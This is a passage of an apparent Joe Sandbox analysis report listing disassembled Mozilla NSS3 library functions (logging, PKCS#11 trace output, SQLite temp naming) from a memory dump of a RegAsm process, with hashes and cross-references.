PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C487929), ref: 6C462FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C487929), ref: 6C462FE0

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: fe42609ebade875666de791f29eb319fbeae72353061981dcd66eb33d8a0539c
Instruction ID: bdcf26cfd102af050e7cfdc08d50e2bfb97eb13a82c0bd881848826425938c83
Opcode Fuzzy Hash: fe42609ebade875666de791f29eb319fbeae72353061981dcd66eb33d8a0539c
Instruction Fuzzy Hash: 46512471A049A19FD714CE57C880F6A73B1EF45319F254129D9899BF0ECB31E84ACBC1

Function 6C46ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C46EE3D

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 5ae21267ac6de9d2e2cd4faf42c22e4bf88008ef4f5e217dd9a0848099343b3c
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 7771D1B2E017018FD718CF5AD8C0FAAB7F2AB98304F15862DD85A97B95D730E901CB90

Function 6C42A820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[Al, xrefs: 6C42A92D, 6C42A943

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID: [[Al
API String ID: 0-4039624153
Opcode ID: caaab1f2972ba330152e6825e081329601bccebc893d277ab3f4cbcfb67215b7
Instruction ID: 2b0b27ccfd5a6b62aa4e7832f032010c96810c89832e7768d591e2721430d5a6
Opcode Fuzzy Hash: caaab1f2972ba330152e6825e081329601bccebc893d277ab3f4cbcfb67215b7
Instruction Fuzzy Hash: FF518B71A012098FDB04CF16D946FAABBA5FF48309F26806DEC199B751D738D856CF90

Function 6C3D8960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: b058878e639a54578a221bc8b4fb245d5c072f65b301d50bf463fd437ed34528
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: 26D17172F052168FDB08CEA9C4816AEB7F2FB89308F16956AC556E7640D731B841CFD2

Function 6C408EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6691e047d6a87c852a170aa4dc69b8891cdf43ed03be57ff09a737d5a2fc8fd
Instruction ID: 71f92616833b0e77ec22236e086fd1461449f1151af4faad591ca84d69b3888b
Opcode Fuzzy Hash: f6691e047d6a87c852a170aa4dc69b8891cdf43ed03be57ff09a737d5a2fc8fd
Instruction Fuzzy Hash: D311DD32B412158BD704DF25D988F5AB3A5BF42328F04427AD8058FB52D775E882CBC5

Function 6C4E0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1387d3be3c5b67f477303dde682aa5f564c9761026f9fe84ab9b53210f7fad8d
Instruction ID: f5e72a13a999090730ef0ee725694482d8bbe2cc2426300e17e6bf85f4721cd8
Opcode Fuzzy Hash: 1387d3be3c5b67f477303dde682aa5f564c9761026f9fe84ab9b53210f7fad8d
Instruction Fuzzy Hash: A711C1747043059FDB04DF28C8C4E6A77A1FF89369F158069D8298B701EB71E806CBA1

Function 6C4E0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 359faa62d14e49bc463bee13e56b94c251d077626b0a5333aace8d52811322a2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 83E06D3A202054A7DB14CE09C450EA97369DF8961BFE6807DCC699BA01DA73F8039791

Function 6C5209D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C520A22

Part of subcall function 6C4D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DC6
Part of subcall function 6C4D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DD1
Part of subcall function 6C4D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4D9DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C520A35

Part of subcall function 6C403810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C40382A
Part of subcall function 6C403810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C403879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C520A66
PR_GetCurrentThread.NSS3 ref: 6C520A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C520A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C520AC8
PR_vsmprintf.NSS3(?,?), ref: 6C520AE8
EnterCriticalSection.KERNEL32(?), ref: 6C520B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C520B48
OutputDebugStringA.KERNEL32(?), ref: 6C520B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C520C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C520C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C520C76
PR_LogFlush.NSS3 ref: 6C520C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C520C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520C9C
OutputDebugStringA.KERNEL32(?), ref: 6C520CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C520CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C520D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C520D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C520D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C520D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C520D90
free.MOZGLUE(00000000), ref: 6C520D99

Strings

%ld[%p]: , xrefs: 6C520A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C520A5B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: e26d58800ede1684d3fcac86dd6e546ba8af57755c2f013cd3210cb6725914d2
Instruction ID: fba4fcbf96618ba45fb4a164bc6c1ab9aa329a3ec876e2d830f4a703094829fe
Opcode Fuzzy Hash: e26d58800ede1684d3fcac86dd6e546ba8af57755c2f013cd3210cb6725914d2
Instruction Fuzzy Hash: 71A14970A011A49FDF11AF28CC58FEA3BB8EF52308F090559F80997691D775E984CB65

Function 6C4428A0 Relevance: 50.9, APIs: 12, Strings: 17, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C4428BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C4428EF

Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(?), ref: 6C520B88
Part of subcall function 6C5209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C520C5D
Part of subcall function 6C5209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C520C8D
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520C9C
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(?), ref: 6C520CD1
Part of subcall function 6C5209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C520CEC
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520CFB
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C520D16
Part of subcall function 6C5209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C520D26
Part of subcall function 6C5209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520D35
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C520D65
Part of subcall function 6C5209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C520D70
Part of subcall function 6C5209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C520D90
Part of subcall function 6C5209D0: free.MOZGLUE(00000000), ref: 6C520D99

Part of subcall function 6C400F00: PR_GetPageSize.NSS3(6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F1B
Part of subcall function 6C400F00: PR_NewLogModule.NSS3(clock,6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C4428D6

Part of subcall function 6C5209D0: PR_Now.NSS3 ref: 6C520A22
Part of subcall function 6C5209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C520A35
Part of subcall function 6C5209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C520A66
Part of subcall function 6C5209D0: PR_GetCurrentThread.NSS3 ref: 6C520A70
Part of subcall function 6C5209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C520A9D
Part of subcall function 6C5209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C520AC8
Part of subcall function 6C5209D0: PR_vsmprintf.NSS3(?,?), ref: 6C520AE8
Part of subcall function 6C5209D0: EnterCriticalSection.KERNEL32(?), ref: 6C520B19
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C520B48
Part of subcall function 6C5209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C520C76
Part of subcall function 6C5209D0: PR_LogFlush.NSS3 ref: 6C520C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C442963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C442983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C4429A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C4429C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C442A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C442A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C442A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C442A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C442AB6

Strings

CKF_LOGIN_REQUIRED, xrefs: 6C4429F3, 6C442A1E
C_GetTokenInfo, xrefs: 6C4428B8
CKF_RNG, xrefs: 6C442A13, 6C442A20
CKF_USER_PIN_INIT, xrefs: 6C4429E5
model = "%.16s", xrefs: 6C44299E
maxSessions = %u, Sessions = %u, xrefs: 6C442A43
maxRwSessions = %u, RwSessions = %u, xrefs: 6C442A61
CKF_WRITE_PROTECTED, xrefs: 6C4429FE, 6C442A1F
label = "%.32s", xrefs: 6C44295E
nRl, xrefs: 6C44290B, 6C442937
pInfo = 0x%p, xrefs: 6C4428EA
hardware version: %d.%d, xrefs: 6C442A89
manufacturerID = "%.32s", xrefs: 6C44297E
firmware version: %d.%d, xrefs: 6C442AB1
slotID = 0x%x, xrefs: 6C4428D1
serial = "%.16s", xrefs: 6C4429BE
flags = %s %s %s %s, xrefs: 6C442A21

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo$nRl
API String ID: 2460313690-1758934248
Opcode ID: b23e0a25f667cbed493077af361b64b909ccb10818976f20921c2d88bffba938
Instruction ID: ab384b32ff483805f85f249468cec4d49df35961323fdec8d26b24dc5ac45285
Opcode Fuzzy Hash: b23e0a25f667cbed493077af361b64b909ccb10818976f20921c2d88bffba938
Instruction Fuzzy Hash: 1A51E4B1601050EFFB11DB508D99F653BE5EB82219F46807AED09EBA12EB31DC44CBB1

Function 6C4E6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C39CA30: EnterCriticalSection.KERNEL32(?,?,?,6C3FF9C9,?,6C3FF4DA,6C3FF9C9,?,?,6C3C369A), ref: 6C39CA7A
Part of subcall function 6C39CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C39CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C3ABE66), ref: 6C4E6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C3ABE66), ref: 6C4E6E98
sqlite3_snprintf.NSS3(?,00000000,6C54AAF9,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C3ABE66), ref: 6C4E6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C3ABE66), ref: 6C4E6FA6
sqlite3_snprintf.NSS3(?,00000000,6C54AAF9,00000000,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C3ABE66), ref: 6C4E701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C3ABE66), ref: 6C4E7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C3ABE66), ref: 6C4E7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C3ABE66), ref: 6C4E70A0

Strings

winGetTempname1, xrefs: 6C4E708F
winGetTempname5, xrefs: 6C4E7071
winGetTempname4, xrefs: 6C4E7046
mz_etilqs_, xrefs: 6C4E6F18
PRl, xrefs: 6C4E70A8
winGetTempname2, xrefs: 6C4E70C4

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: PRl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-2362135110
Opcode ID: c6da256b23ed55fccf54f99070b676780dc63843470c6202c63ef6635c5498f3
Instruction ID: 6ff1ef0a64ddaec46706477cf2e9c202e50221b7d9102dca8a4ae85b5ddd97a0
Opcode Fuzzy Hash: c6da256b23ed55fccf54f99070b676780dc63843470c6202c63ef6635c5498f3
Instruction Fuzzy Hash: 02517A71F042116BE310DB349C55FFB36669F8631AF194638E9059BBC2FB25981E82D3

Function 6C448E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C448E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C448EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C448EB3

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C448EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C448EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C448F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C448F29
PR_LogPrint.NSS3(?,00000000), ref: 6C448F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C448F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C448F80
PR_LogPrint.NSS3(?,00000000), ref: 6C448F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C448FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C448FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C449047

Strings

hSession = 0x%x, xrefs: 6C448E8E, 6C448E9E
nRl, xrefs: 6C448FEC, 6C449023
C_WrapKey, xrefs: 6C448E71
pMechanism = 0x%p, xrefs: 6C448EE0
pulWrappedKeyLen = 0x%p, xrefs: 6C448FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6C449042
(CK_INVALID_HANDLE), xrefs: 6C448EAC, 6C448F1F, 6C448F79
pWrappedKey = 0x%p, xrefs: 6C448FAD
hWrappingKey = 0x%x, xrefs: 6C448F01, 6C448F11
hKey = 0x%x, xrefs: 6C448F5B, 6C448F6B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nRl
API String ID: 1003633598-1519378431
Opcode ID: fc780cf08e3d6fbaaf87e2c222f8d7a5ad979947fecd4743a64fb0c6c9377513
Instruction ID: dda6db132307444bbfdd73abc607caeb4b8281ec5c20323617b187f1a025dfcd
Opcode Fuzzy Hash: fc780cf08e3d6fbaaf87e2c222f8d7a5ad979947fecd4743a64fb0c6c9377513
Instruction Fuzzy Hash: D751F931A01124EFEB01DF00DD48F9B77B6EB8231DF158026F508A7A52D7359859CBE5

Function 6C474FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4275C2,00000000,00000000,00000001), ref: 6C475009
